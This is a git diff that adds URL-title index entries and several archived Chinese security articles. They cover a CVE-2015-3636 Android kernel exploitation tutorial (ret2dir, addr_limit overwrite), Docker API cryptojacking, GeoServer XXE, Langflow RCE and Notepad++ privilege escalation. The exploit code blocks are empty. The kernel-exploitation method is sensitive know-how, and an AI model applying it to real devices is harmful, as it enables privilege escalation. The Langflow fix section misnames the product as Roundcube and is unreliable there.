diff --git a/data.json b/data.json index 48000a60..a4a034d8 100644 --- a/data.json +++ b/data.json @@ -15569,5 +15569,29 @@ "https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458596239&idx=3&sn=d782404acf8421ef63b6789bd3a99a90": "WinRAR现高危漏洞,恶意文件可致远程代码执行", "https://mp.weixin.qq.com/s?__biz=MzkyNzQxMjQ4Ng==&mid=2247484252&idx=1&sn=5e962271608318dff0b47a2909cca7ea": "工具 | 泛微E-cology9 SQL 注入漏洞批量检测工具", "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490297&idx=2&sn=6153fb97ede112cd135b07c48e91a27f": "【高危漏洞预警】Citrix NetScaler ADC越界读取漏洞", - "https://mp.weixin.qq.com/s?__biz=Mzk0MjU5NTY2MQ==&mid=2247484380&idx=1&sn=b7fa367d77e1483cb8a5a87d1478e578": "【漏洞复现】一次不一样的逻辑绕过" + "https://mp.weixin.qq.com/s?__biz=Mzk0MjU5NTY2MQ==&mid=2247484380&idx=1&sn=b7fa367d77e1483cb8a5a87d1478e578": "【漏洞复现】一次不一样的逻辑绕过", + "https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247487364&idx=1&sn=744d24f074c71851c7a36876bc42c3bc": "OA系统漏洞审计之用友NC反序列化 UserQueryServiceServlet", + "https://mp.weixin.qq.com/s?__biz=MjM5MjEyMTcyMQ==&mid=2651037762&idx=1&sn=e180a260fc140e02cebd898bf1b1fead": "Android系统内核漏洞利用技术入门", + "https://mp.weixin.qq.com/s?__biz=MzI1MDA1MjcxMw==&mid=2649908373&idx=1&sn=809508815394b08b8abbad379888a7f0": "微软MSRC的漏洞情报“剽窃”策略", + "https://mp.weixin.qq.com/s?__biz=MzI5NTQ5MTAzMA==&mid=2247484473&idx=1&sn=72dbb861fc8336a1ec596800f5ed6f51": "靶场攻防|SSRF漏洞打穿内网(1)", + "https://mp.weixin.qq.com/s?__biz=MzI1OTA1MzQzNA==&mid=2651248146&idx=1&sn=5ef4c9942a320bc7e46b5d456b4ec346": "Notepad++ 存在严重权限提升漏洞,PoC已发布 | 史上最大规模DDoS攻击在短短45秒内传输了37.4TB的恶意流量", + "https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492096&idx=1&sn=5f497b3d236bb09431d51419bebc6eb2": "【渗透测试】记录某企业存储型XSS漏洞从发现到数据外泄全路径分析", + "https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546728&idx=2&sn=34353d879640e19ff3199801f635895b": "OpenVPN驱动曝严重漏洞,可致Windows系统崩溃", + "https://mp.weixin.qq.com/s?__biz=Mzg2OTU3MzI1OQ==&mid=2247486218&idx=1&sn=aba341fb0b861e5a70d31fb9ebcd8587": "【前沿研究】降维打击!DeepSeek AI 智能体\"碾压\"传统工具,MCP漏洞扫描效率狂飙1000%!", + "https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650611176&idx=2&sn=d245aba5b4fef5f22ba543ba93694efb": "Notepad++ 存在严重权限提升漏洞,PoC已发布", + "https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247506789&idx=1&sn=ac6c506a103f943a10d3556aaa61cd02": "破解 JWT:漏洞赏金猎人指南(第三部分)", + "https://mp.weixin.qq.com/s?__biz=MzAxODY1OTM5OQ==&mid=2651463199&idx=1&sn=8b9360adb7f25f9377ced0a8e8e8eda8": "信息安全漏洞周报(2025年第25期)", + "https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491923&idx=1&sn=0a5aad1317aad151a2b751e12641e71e": "GeoServer XXE漏洞 (CVE-2025-30220)", + "https://mp.weixin.qq.com/s?__biz=Mzg4NDU4OTQ1NA==&mid=2247484740&idx=1&sn=efcc3f00d734e8b8bf6e9bf129f586d0": "内网横行:大杀器之实战场景下的 CVE-2025-33073 全流程利用指南 | 附利用工具集", + "https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649795533&idx=1&sn=72c3ca5e960d19d7c59bd5ff386a0eca": "WinRAR 目录漏洞允许使用恶意文件执行任意代码", + "https://mp.weixin.qq.com/s?__biz=MzIyNzc3OTMzNw==&mid=2247485939&idx=1&sn=03c3ffef5a2ae3b4cd0db6c79534f4a3": "工具分享 | 一款JumpServer堡垒机未授权综合漏洞利用脚本(近期更新)", + "https://mp.weixin.qq.com/s?__biz=Mzg2Mzg2NDM0NA==&mid=2247485361&idx=1&sn=1848475721009d2894847479ed3a090c": "Notepad++ 存在严重权限提升漏洞及白加黑", + "https://mp.weixin.qq.com/s?__biz=MzI5NTQ5MTAzMA==&mid=2247484471&idx=1&sn=cf743831abccc0a1a5cb46208a1f6ee5": "Springboot图形化漏洞利用工具", + "https://mp.weixin.qq.com/s?__biz=MzkyNDcwMTAwNw==&mid=2247535332&idx=5&sn=7700ce5764c969ea25c1b48668b198fb": "多部门联手!未成年人安全漏洞整治风暴征民意", + "https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247484510&idx=1&sn=ff6752e79d304c2f0c105cd9d11bacc2": "Langflow远程代码执行漏洞(CVE-2025-3248)POC及一键部署环境", + "https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546728&idx=3&sn=64a81159f0079c1d782bad8db1000462": "信息安全工程师系列-第13关 网络安全漏洞防护技术原理与应用", + "https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247521312&idx=1&sn=f8ca2494b32db358ea69d4f0570ef6ca": "一次从0到1的逻辑漏洞挖掘之旅", + "https://mp.weixin.qq.com/s?__biz=Mzg5MTc3ODY4Mw==&mid=2247507815&idx=1&sn=d7d2e2bc59c6884536c20a26dfcbe559": "漏洞通告 | Gogs远程命令注入漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247486111&idx=1&sn=b7d8865b37ec95f6ad4484cd959fc3ea": "Docker API 漏洞成黑客跳板,配合Tor 匿名网络正偷走你的加密货币", + "https://mp.weixin.qq.com/s?__biz=MzI4MjkxNzY1NQ==&mid=2247486005&idx=1&sn=264eaaced170be759dbfc03828c82d65": "【威胁情报】:Notepad++ 本地提权漏洞 | POC目前已公开" } \ No newline at end of file diff --git a/doc/2025-06/Android系统内核漏洞利用技术入门.md b/doc/2025-06/Android系统内核漏洞利用技术入门.md new file mode 100644 index 00000000..9bd57031 --- /dev/null +++ b/doc/2025-06/Android系统内核漏洞利用技术入门.md @@ -0,0 +1,177 @@ +# Android系统内核漏洞利用技术入门 +NEURON SAINTSEC 2025-06-25 05:57 + +本文主要介绍Android内核利用入门,分析经典漏洞CVE-2015-3636 +[0] + ,主要介绍ret2dir利用思路。 + + +**漏洞分析** + +CVE-2015-3636是一个Linux 内核中的UAF漏洞,最初由fuzz工具Trinity发现,可利用此漏洞在安卓设备上提升权限,主要影响Android 4.4~5.1的设备,对应Linux上游内核版本3.4~4.1 +[1] +。 + +当socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP) +创建socket之后,使用connect +系统调用将会触发inet_dgram_connect +函数处理用户请求: +``` +``` + +上述代码中,如果uaddr->sa_family == AF_UNSPEC +,则调用sk->sk_prot->disconnect +断开连接。对于ping的ICMP协议,disconnect函数指针为udp_disconnect +函数: +``` +``` + +在上述代码中,如果sk->sk_userlocks & SOCK_BINDPORT_LOCK +为0,则调用sk->sk_prot->unhash(sk) +,对于ping的ICMP协议,unhash函数指针为ping_unhash +: +``` +``` + +如ping_unhash +代码所示,当参数sk +,也就是ICMP的套接字被哈希时,会进入if判断,调用hlist_nulls_del +。而hlist_nulls_del +函数会将n->ppriv +的值变为LIST_POSION2 +: +``` +``` + +LIST_POISON2 +为宏定义的常量,在32位与64位都是0x200200。所以可以简单的理解为:hlist_nulls_del +函数将ppriv的值写为0x200200,而且这个地址是我们可以从用户态映射的地址。 + +在第一次调用connect整体逻辑看起来都没问题,但在第二次调用connect时就出现了问题。在之前hlist_nulls_del +函数删除掉套接字对象后,它仍然保持散列的状态,因为它是否处于散列状态取决于sk->sk +节点,这个节点在第一次连接期间不会改变。所以会再次进入if判断调用hlist_nulls_del +函数。而这一次执行 *ppriv = next + 时将会导致内核崩溃,因为此时ppriv值为0x200200,如果这个地址没有被映射,那么就会出现严重的页错误导致内核崩溃。 + +在ping_unhash +函数中,每次进入if分支,sock_put +都会将对象的引用计数减一。另外,它还会检查引用计数是否为0,如果为0,sock对象将会被释放,而在第二次进入ping_unhash +的if分支时,使用的就是被释放后的sock对象,因此是一个典型的UAF漏洞。sock_put +函数逻辑如下: +``` +``` + + +**利用思路** + +通过漏洞分析,得知可以使用两次connect +来触发内核崩溃,因此可得如下PoC: +``` +``` + +上述代码中,首先使用了AF_INET +使sock对象在内核中进行hash,否则无法访问对象。在安卓设备上,普通用户可以创建PING套接字,而在PC则没有权限创建,因此这个PoC只适用于安卓设备,并且此PoC代码只能达到拒绝服务的攻击效果,我们能做的不止于此。 + +在关闭一个套接字时,可以使用close +系统调用。在ICMP协议中,最终会调用inet_release +函数来执行关闭操作: +``` +``` + +在上述代码中,实际上最后会调用sk->sk_prot->close +函数来关闭sock对象。这个close函数指针正好在sock->sk +中,因此,如果我们在close之前,将此sock对象覆盖,那么就能够控制sk->sk_prot->close +,如果内核中没有应用PAN +[2] + 保护机制,那么就可以通过此函数指针控制PC寄存器。实际上在此漏洞公布时,市面上还没有任何Android设备采用这种保护机制。 + +综合以上结论,需要处理两个关键的问题: +1. 如何在Android内核大量的内存申请过程中,准确的申请到之前释放过的对象位置? + +1. 如何在close之前伪造sock对象进而控制PC指针? + +针对于第一个问题的描述,PING sock对象使用的是kmem_cache_create +[3] + 创建的SLAB缓存对象,对象大小为576,这种对象不会在分配常规的内存时进行分配。也就是说,sock对象与一般大小的SLAB是相互隔离的,没办法直接通过堆喷的方式去占用已释放的对象。另外由于内核多线程的影响,内核中的多个任务产生的内存申请,可能会导致没办法及时占用到之前释放过的内存。不同的内核版本PING sock大小是不相同的,为了找到一种适用于所有安卓设备的通用解决方案,那么就不应该依赖于这些设备的PING sock的大小。因此,这里提出了使用physmap +[4] + , ret2dir +[5] + 的利用方法。 + +具体原理:physmap是内核空间中的一大块内存 +[6] + ,将用户空间的内存直接映射到内核空间,以提升系统性能。用户可以通过在用户态空间大量mmap,其中大部分数据将会直接出现在内核空间。那么就可以通过physmap来覆盖释放的sock对象。 + +在利用过程中存在一个问题,如何得知已经覆盖到了physmap的位置?答案是在喷射过程中,除了一些关键的字节用于保证内核不发生崩溃,在其他的位置可以填充一些我们自己的标识内容,然后可以调用 ioctl(sockfd, SIOCGSTAMPNS, (struct timespec*)) + 来读取这些标识内容。这一操作将会调用sock_get_timestampns +函数: +``` +``` + +如上述代码所示,此函数最终调用copy_to_user +读取出了sk +的sk_stamp +,因此可以通过这种方式泄露出固定偏移位置的内容,然后与之前填写的标识内容相比较,就可以得知覆盖是否完成。当得知覆盖完成时,就可以调用sk->sk_prot->close +函数指针,以此控制PC指针。 + +控制了PC寄存器之后,下一步就是将thread_info结构的addr_limit +成员改写为0。addr_limit是用于限制一个线程虚拟地址访问范围的字段,它表示一个线程可以访问的地址空间的上界。改写addr_limit的目的是为了能够在内核空间中实现任意读写 +[7] + 。 + +对于没有启用PXN +[8] + 保护机制的设备,可以直接在physmap放置一段shellcode来改写addr_limit的值。而对于启用了PXN保护机制的设备,内核空间不再能直接执行用户空间代码,类似于x86架构的SMEP,则需要进行ROP修改addr_limit来实现任意地址读写。为了更稳定的利用效果,可以选择JOP来替代ROP,最主要的原因是ROP需要从内核stack pivot到用户态空间,这时会破坏SP指针,由于SP指针在整个利用过程中非常重要,因此随意更改SP指针不是一个明智的选择。在构造JOP时有两个重要的目标: +1. 从内核中泄露SP值,通过SP来获取当前task的结构体。可以通过如下gadget完成: +``` +``` + +在第一段汇编指令中,x0寄存器为用户空间地址,那么就可以将x1寄存器的值写入到用户空间,即泄露了内核空间的地址,可以用于泄露内核SP值以及当前task地址。 + +在第二段与第三段汇编指令,如果x2寄存器为用户空间地址,则可以通过x2寄存器从内核空间返回到用户空间。 + +对于64位Android设备,x29寄存器通常存储SP值,因此可以通过如下gadget完成泄露: +``` +``` + +1. 重写当前task结构体的addr_limit,从而完成任意地址读写。有两种方式可以完成: + +1. 直接重写: +``` +``` + +1. 间接重写: +``` +``` + +**参考** + +[0] +https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back-wp.pdf + +[1] +https://en.wikipedia.org/wiki/Android_version_history + +[2] +https://hack-big.tech/2021/10/07/PXN +与PAN机制攻防/ + +[3] +https://www.unix.com/man-page/linux/9/KMEM_CACHE_CREATE/ + +[4] +https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf + +[5] +https://www.jianshu.com/p/3c662b6163a7 + +[6] +https://www.kernel.org/doc/html/v5.8/x86/x86_64/mm.html + +[7] +https://cloudfuzz.github.io/android-kernel-exploitation/chapters/exploitation.html#primitive + +[8] +https://developer.arm.com/documentation/107565/0101/Memory-protection/Significance-of-XN-and-PXN-bits + + diff --git a/doc/2025-06/Docker API 漏洞成黑客跳板,配合Tor 匿名网络正偷走你的加密货币.md b/doc/2025-06/Docker API 漏洞成黑客跳板,配合Tor 匿名网络正偷走你的加密货币.md new file mode 100644 index 00000000..3d0ebfdf --- /dev/null +++ b/doc/2025-06/Docker API 漏洞成黑客跳板,配合Tor 匿名网络正偷走你的加密货币.md @@ -0,0 +1,152 @@ +# Docker API 漏洞成黑客跳板,配合Tor 匿名网络正偷走你的加密货币 +龙猫 星尘安全 2025-06-25 02:01 + + + +点击上方 +蓝字 +关注我们 + + + + + + + + + +近期,趋势科技披露了一起针对云容器环境的新型攻击活动。攻击者通过扫描暴露在公网的**Docker 远程 API 接口** +(Docker Remote API),利用配置缺陷获取容器管理权限。具体攻击流程如下: + + +**初始入侵** + +通过 IP 地址 198.199.72.27 向目标服务器发送容器列表查询请求,确认可攻击目标。 + +**权限提升** + +基于 "alpine" 基础镜像创建新容器,通过挂载主机根目录(/:/hostroot:rw)突破容器隔离边界,实现对宿主机的访问控制。 + +**匿名化部署** + +在容器内搭建 Tor 节点,通过 ".onion" 隐藏服务地址下载恶意脚本 "docker-init.sh",并利用socks5h协议实现流量与 DNS 解析的全链路匿名化。 + +**挖矿程序植入** + +最终部署 XMRig 加密货币挖矿程序,结合 zstd 压缩技术优化传输效率,确保恶意组件在内存中高效运行。 + + + + +**01** + +**攻击目标特征与行业影响** + +该攻击呈现显著的行业靶向性,主要针对**云原生技术密集型领域** +,包括科技、金融服务和医疗行业。趋势科技指出,暴露的 Docker API 已成为云安全的高频攻击面 —— 此前名为 "Commando Cat" 的攻击团伙已多次利用同类漏洞实施加密劫持(Cryptojacking)。尽管本次攻击是否与该团伙相关尚未确认,但数据显示,**全球约 37% 的 Docker 环境存在 API 未授权访问风险** +(来源:Trend Micro 2025 云安全报告)。 + +值得警惕的是,容器化技术的普及使得攻击面进一步扩大。无论企业规模大小,**任何未遵循最小权限原则配置的 Docker 环境均可能成为目标** +。攻击者通过 Tor 网络的多层匿名机制,将传统基于 IP 信誉的检测手段有效规避,导致攻击行为在云日志中呈现低可观测性特征。 + +**02** + +**防御体系构建:基于容器生命周期的安全策略** + +针对此类攻击,企业需建立覆盖**配置管理、运行时监控、应急响应** +的全流程防护体系: +### (一)基础设施层安全加固 +1. **API 访问控制** +1. 禁用公网对 Docker API 的直接访问,通过 VPN 或内部负载均衡器限制仅授权 IP 访问 + +1. 启用 TLS 双向认证(mTLS),对 API 请求进行签名验证 + +1. **容器配置最佳实践** +1. 采用非 root 用户运行容器(USER app:app +),通过seccomp +和apparmor +限制系统调用 + +1. 使用 Docker Content Trust 确保镜像来源可信,禁止拉取未经验证的第三方镜像 + +### (二)运行时威胁检测 +1. **异常行为分析** +1. 部署容器安全平台(如 Aqua Security、Trivy),实时监控容器内进程树,识别 Tor 节点启动、异常网络连接(如.onion 域名解析)等可疑活动 + +1. 建立基线模型,对 CPU / 内存利用率突变、异常文件写入(如 /miner 目录创建)触发告警 + +1. **流量深度检测** +1. 在云网关层配置 Tor 流量阻断策略,通过 DPI 技术识别加密流量中的 Tor 协议特征 + +1. 对容器网络实施微分段(Micro-Segmentation),限制跨容器组的非法通信 + +### (三)应急响应与持续改进 +1. **事件处置流程** +1. 制定《容器环境感染应急预案》,明确隔离受感染容器、镜像哈希溯源、日志留存取证等操作步骤 + +1. 定期进行红蓝对抗演练,模拟 Docker API 被入侵场景,验证防御体系有效性 + +1. **合规性审计** +1. 每月执行容器配置合规性扫描,对照 CIS Docker Benchmark 检查权限配置、日志审计等项目 + +1. 建立漏洞管理闭环,通过自动化工具同步更新 Docker 引擎及依赖组件 + +**03** + +**启示:从被动防御到主动免疫的范式转变** + +此次攻击再次凸显了云原生安全的特殊性 — **容器技术的动态性与传统安全防护的静态策略之间存在天然矛盾** +。企业需从以下维度升级安全能力: +- **左移安全验证** +将安全检查嵌入 CI/CD 流水线,在镜像构建阶段完成漏洞扫描与合规性验证 + +- **零信任架构落地** +对容器环境实施 "永不信任,始终验证" 原则,通过 SPIFFE/SPIRE 实现容器身份动态管理 + +- **威胁情报共享** +接入云安全联盟(CSA)等行业组织的威胁情报网络,实时同步 Docker API 攻击 IP 列表 + +**04** + +**结语** + +随着容器化与云原生技术的深入应用,针对 Docker 等容器平台的攻击将呈现专业化、隐蔽化趋势。企业需打破 "重功能部署、轻安全配置" 的惯性思维,将容器安全纳入整体云战略的核心范畴。通过技术工具、管理流程与人员能力的协同提升,构建具备弹性防御能力的云原生安全体系,才能有效抵御此类 "静默吸血" 式的新型攻击。 + +[被谷歌 320 亿美金收购的云安全巨头 Wiz,到底什么来头?](https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247485859&idx=1&sn=2186e15f7c4ea29f5843d5cfd4ded046&scene=21#wechat_redirect) + + +2025-03-21 + +[](https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247485859&idx=1&sn=2186e15f7c4ea29f5843d5cfd4ded046&scene=21#wechat_redirect) + + +[别让数据裸奔!云应用服务器安全防护最佳实践](https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247485823&idx=1&sn=0f836ce8e58c7b9264497424ac0bb2ce&scene=21#wechat_redirect) + + +2025-03-15 + +[](https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247485823&idx=1&sn=0f836ce8e58c7b9264497424ac0bb2ce&scene=21#wechat_redirect) + + +[2025年,我们应当如何保护云安全?](https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247485476&idx=1&sn=c22f13f338cc253e4e31b0b59753d950&scene=21#wechat_redirect) + + +2025-01-12 + +[](https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247485476&idx=1&sn=c22f13f338cc253e4e31b0b59753d950&scene=21#wechat_redirect) + + +[这两年很火的云原生安全,到底在做什么?](https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247483934&idx=1&sn=56967cf03a4a37d5a974dbb00bd60889&scene=21#wechat_redirect) + + +2023-12-04 + +[](https://mp.weixin.qq.com/s?__biz=Mzg3NTY0MjIwNg==&mid=2247483934&idx=1&sn=56967cf03a4a37d5a974dbb00bd60889&scene=21#wechat_redirect) + + +**喜欢此文的话,可以点赞、转发、在看 一键三连哦!** + + + + + diff --git a/doc/2025-06/GeoServer XXE漏洞 (CVE-2025-30220).md b/doc/2025-06/GeoServer XXE漏洞 (CVE-2025-30220).md new file mode 100644 index 00000000..2a7ad2e0 --- /dev/null +++ b/doc/2025-06/GeoServer XXE漏洞 (CVE-2025-30220).md @@ -0,0 +1,129 @@ +# GeoServer XXE漏洞 (CVE-2025-30220) +Superhero Nday Poc 2025-06-25 02:10 + + + + + + + +内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Nday Poc及作者不为此承担任何责任,一旦造成后果请自行承担! + + +**01** + +**漏洞概述** + + +GeoServer是一个功能齐全,遵循OGC开放标准的开源WFS-T和WMS服务器。CVE-2025-30220 中,攻击者可构造恶意请求触发XXE漏洞,造成敏感信息泄漏。漏洞根源在于Geotools,因此 GeoServer与GeoNetwork 均受影响。 + +**02****** + +**搜索引擎** + + +FOFA: +``` +app="GeoServer" +``` + + + + +**03****** + +**漏洞复现** +``` +POST /geoserver/wfs HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Fedora; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0 +Connection: close +Content-Length: 353 +Content-Type: application/xml +Accept-Encoding: gzip + + + + +``` + + + + +**04** + +**自查工具** + + +nuclei + + + +afrog + + + +xray + + + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、升级至安全版本 + + +**06****** + +**内部圈子介绍** + + +【Nday漏洞实战圈】🛠️ + +专注公开1day/Nday漏洞复现 + · 工具链适配支持 + + ✧━━━━━━━━━━━━━━━━✧ + +🔍 资源内容 + + ▫️ 整合全网公开 +1day/Nday +漏洞POC详情 + + ▫️ 适配Xray/Afrog/Nuclei检测脚本 + + ▫️ 支持内置与自定义POC目录混合扫描 + +🔄 更新计划 + +▫️ 每周新增7-10个实用POC(来源公开平台) + +▫️ 所有脚本经过基础测试,降低调试成本 + +🎯 适用场景 + +▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 +▫️ 安全运维 + +✧━━━━━━━━━━━━━━━━✧ + +⚠️ 声明:仅限合法授权测试,严禁违规使用! + + + + diff --git a/doc/2025-06/Langflow远程代码执行漏洞(CVE-2025-3248)POC及一键部署环境.md b/doc/2025-06/Langflow远程代码执行漏洞(CVE-2025-3248)POC及一键部署环境.md new file mode 100644 index 00000000..9c62c46a --- /dev/null +++ b/doc/2025-06/Langflow远程代码执行漏洞(CVE-2025-3248)POC及一键部署环境.md @@ -0,0 +1,111 @@ +# Langflow远程代码执行漏洞(CVE-2025-3248)POC及一键部署环境 +原创 a1batr0ss 天翁安全 2025-06-25 01:00 + +**免责声明:** +本公众号所发布的全部内容,包括但不限于技术文章、POC脚本、漏洞利用工具及相关测试环境,均仅限于合法的网络安全学习、研究和教学用途。所有人在使用上述内容时,应严格遵守中华人民共和国相关法律法规以及道德伦理要求。未经明确的官方书面授权,严禁将公众号内的任何内容用于未经授权的渗透测试、漏洞利用或攻击行为。 所有人仅可在自己合法拥有或管理的系统环境中进行本地漏洞复现与安全测试,或用于具有明确授权的合法渗透测试项目。所有人不得以任何形式利用公众号内提供的内容从事非法、侵权或其他不当活动。 如因违反上述规定或不当使用本公众号提供的任何内容,造成的一切法律责任、经济损失、纠纷及其他任何形式的不利后果,均由相关成员自行承担,与本公众号无任何关联。 +## 漏洞介绍 + +Langflow 是一个可视化的低代码平台,用于构建和调试基于 **LangChain** + 的大语言模型应用。它通过拖拽式界面帮助用户快速搭建包括聊天机器人、问答系统、文档问询等复杂的 AI 流程,而无需编写大量代码。Langflow 支持组件化设计,集成了 Prompt、LLM、Memory、工具链等模块,适合开发者、研究人员以及对 AI 应用感兴趣的非技术用户使用,加快原型开发和测试的效率。 + +1.3.0 版本之前的 Langflow 存在代码注入漏洞,影响 /api/v1/validate/code + 接口。远程未认证的攻击者可通过构造恶意的 HTTP 请求,执行任意代码。 + + +## 漏洞版本 +- Langflow < 1.3.0 + +## 漏洞环境一键部署 + +执行以下一条命令,一键部署langflow漏洞环境 +``` +docker run -p 7860:7860 langflowai/langflow:1.2.0 +``` + + + +访问 http://127.0.0.1:7860/ 看到如下页面代表部署成功 + + +## 漏洞利用 + +使用如图POC执行任意命令 + + +## 漏洞成因 + +漏洞由于/api/v1/validate/code端点没有做身份验证,允许匿名访问并执行validate_code函数 + + + +且validate_code函数没有做任何过滤就执行了exec() + + +## 漏洞修复 + +Langflow官方对这个漏洞做了几处修复: + +1.给/api/v1/validate/code端点添加了JWT认证 + + + +2.增加了严格的输入验证和身份校验 + + + +**修复需要将版本升级** +- Roundcube Webmail >= 1.3.0 + +## 知识星球 + +**漏洞利用POC和批量检查脚本** +可在知识星球内自行领取 + + +> 星球不定期更新市面上最新的热点漏洞及复现环境,欢迎加入交流和学习 + + +亮点一、**市面热点漏洞详细分析** +,与**deepseek本地部署** +息息相关的:Ollama任意文件读取漏洞(CVE-2024-37032)详细分析 + + + +亮点二、**近日最新披露** +漏洞:Erlang/OTP SSH 远程代码执行漏洞(CVE-2025-32433)POC及一键部署环境 + + + +以及有师傅对该POC提出疑问后也会进行解答: + + + +亮点三、**框架漏洞专题-若依:** + +若依某漏洞分析: + + + +以及帮助师傅们轻松搭建若依环境的docker的tar包: + + + +亮点四、**实战渗透测试技巧分享&讨论** +:记一次信息泄漏到数据库接管的渗透测试 + + + +某次若依系统渗透测试带来的思考与讨论 + + + +亮点五、一些比较新奇有趣的漏洞分享:Windows**拖拽图标** +而触发的漏洞 + + + +知识星球加入方式如下,欢迎师傅们加入进行学习和讨论! + + + + diff --git a/doc/2025-06/Notepad++ 存在严重权限提升漏洞及白加黑.md b/doc/2025-06/Notepad++ 存在严重权限提升漏洞及白加黑.md new file mode 100644 index 00000000..af75708a --- /dev/null +++ b/doc/2025-06/Notepad++ 存在严重权限提升漏洞及白加黑.md @@ -0,0 +1,22 @@ +# Notepad++ 存在严重权限提升漏洞及白加黑 + 柠檬赏金猎人 2025-06-25 00:00 + +Notepad++8.8.1版本中发现的一个严重权限提升漏洞,该漏洞编号为CVE-2025-49144。利用此漏洞,攻击者可通过二进制植入技术获取SYSTEM级权限,进而完全控制系统,也可以作为白加黑进行利用。 + + + + + +攻击者可通过在Notepad++安装程序目录放置恶意可执行文件(如篡改的regsvr32.exe),当用户运行安装程序时,系统会自动以SYSTEM权限加载恶意文件,使攻击者获得完全控制权。 + + +Notepad++开发团队迅速做出响应,发布8.8.2版本修复该关键漏洞。建议更新到修复版本。 + + +仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行 +承担相应后果,我们将不承担任何法律及连带责任。 +“如侵权请私聊公众号删文”。 + + + + diff --git a/doc/2025-06/Notepad++ 存在严重权限提升漏洞,PoC已发布 史上最大规模DDoS攻击在短短45秒内传输了37.4TB的恶意流量.md b/doc/2025-06/Notepad++ 存在严重权限提升漏洞,PoC已发布 史上最大规模DDoS攻击在短短45秒内传输了37.4TB的恶意流量.md new file mode 100644 index 00000000..2f0fe8c5 --- /dev/null +++ b/doc/2025-06/Notepad++ 存在严重权限提升漏洞,PoC已发布 史上最大规模DDoS攻击在短短45秒内传输了37.4TB的恶意流量.md @@ -0,0 +1,137 @@ +# Notepad++ 存在严重权限提升漏洞,PoC已发布 | 史上最大规模DDoS攻击在短短45秒内传输了37.4TB的恶意流量 +e安在线 e安在线 2025-06-25 01:56 + + +# Notepad++ 存在严重权限提升漏洞,PoC已发布 + +Notepad++ 8.8.1版本中发现一个严重的权限提升漏洞,可能导致全球数百万用户面临系统完全被控制的风险。该漏洞编号为CVE-2025-49144,攻击者可通过二进制植入技术获取SYSTEM级权限,目前已有公开的概念验证演示。 + + + + + +**Part01** +### 漏洞详情 + + +该漏洞影响2025年5月5日发布的Notepad++ v8.8.1安装程序,利用未受控的可执行文件搜索路径实现本地权限提升攻击。安全研究人员发现,安装程序会在当前工作目录中搜索可执行依赖项而未经适当验证,这为恶意代码注入创造了可乘之机。 + + +由于利用该漏洞所需的用户交互极少,安全风险尤为突出。攻击向量利用了Windows标准DLL搜索顺序机制,使攻击者能够在安装过程中自动加载具有提升权限的恶意可执行文件。 + + +**Part02** +### 攻击方法与概念验证 +### + +攻击过程非常简单,充分展示了二进制植入攻击的危险性。攻击者可在Notepad++安装程序所在目录放置恶意可执行文件(如被篡改的regsvr32.exe)。 + + + + + +当用户运行安装程序时,系统会自动以SYSTEM权限加载恶意文件,使攻击者获得目标机器的完全控制权。概念验证材料中的Process Monitor日志清晰展示了安装程序在当前目录搜索可执行文件的漏洞行为。 + + +**Part03** +### 影响范围与风险 + + +Notepad++在全球拥有大量用户,截至2025年6月,其官网月访问量超过160万次。在IDE和文本编辑器类别中,Notepad++约占1.33%的市场份额,意味着全球可能有数十万安装存在漏洞。 + + +考虑到Notepad++在开发者、IT专业人员和各行业普通用户中的普及程度,该漏洞带来的风险尤为严重。企业环境中广泛使用该软件进一步放大了潜在攻击影响,可能导致数据泄露、网络横向移动和系统完全被控制。 + + +**Part04** +### 缓解措施与响应 +### + +Notepad++开发团队迅速做出响应,发布8.8.2版本修复该关键漏洞。补丁遵循微软安全加载指南,实现了安全的库加载实践和对可执行依赖项的绝对路径验证。强烈建议用户立即更新至修复版本以消除安全风险。 + + +安全专家建议采取额外防护措施,包括从安全隔离目录运行安装程序,以及部署能够检测二进制植入攻击的终端安全解决方案。企业还应考虑实施应用程序白名单和加强对安装过程的监控。 + + +该事件凸显了安全软件开发实践的重要性,特别是在可信应用程序的安装程序设计和依赖项加载机制方面。随着网络威胁不断演变,安全社区强调需要对影响广泛使用软件平台的新威胁采取主动漏洞管理和快速响应措施。 + +# 史上最大规模DDoS攻击在短短45秒内传输了37.4TB的恶意流量 + +有记录以来,最大的分布式拒绝服务(DDoS)攻击于2025年5月中旬被Cloudflare成功阻止。攻击者发动了破坏性极强的每秒7.3太比特(Tbps)攻击。短短45秒内,恶意流量高达37.4TB。 + + +这前所未有的网络攻击目标直指Cloudflare Magic 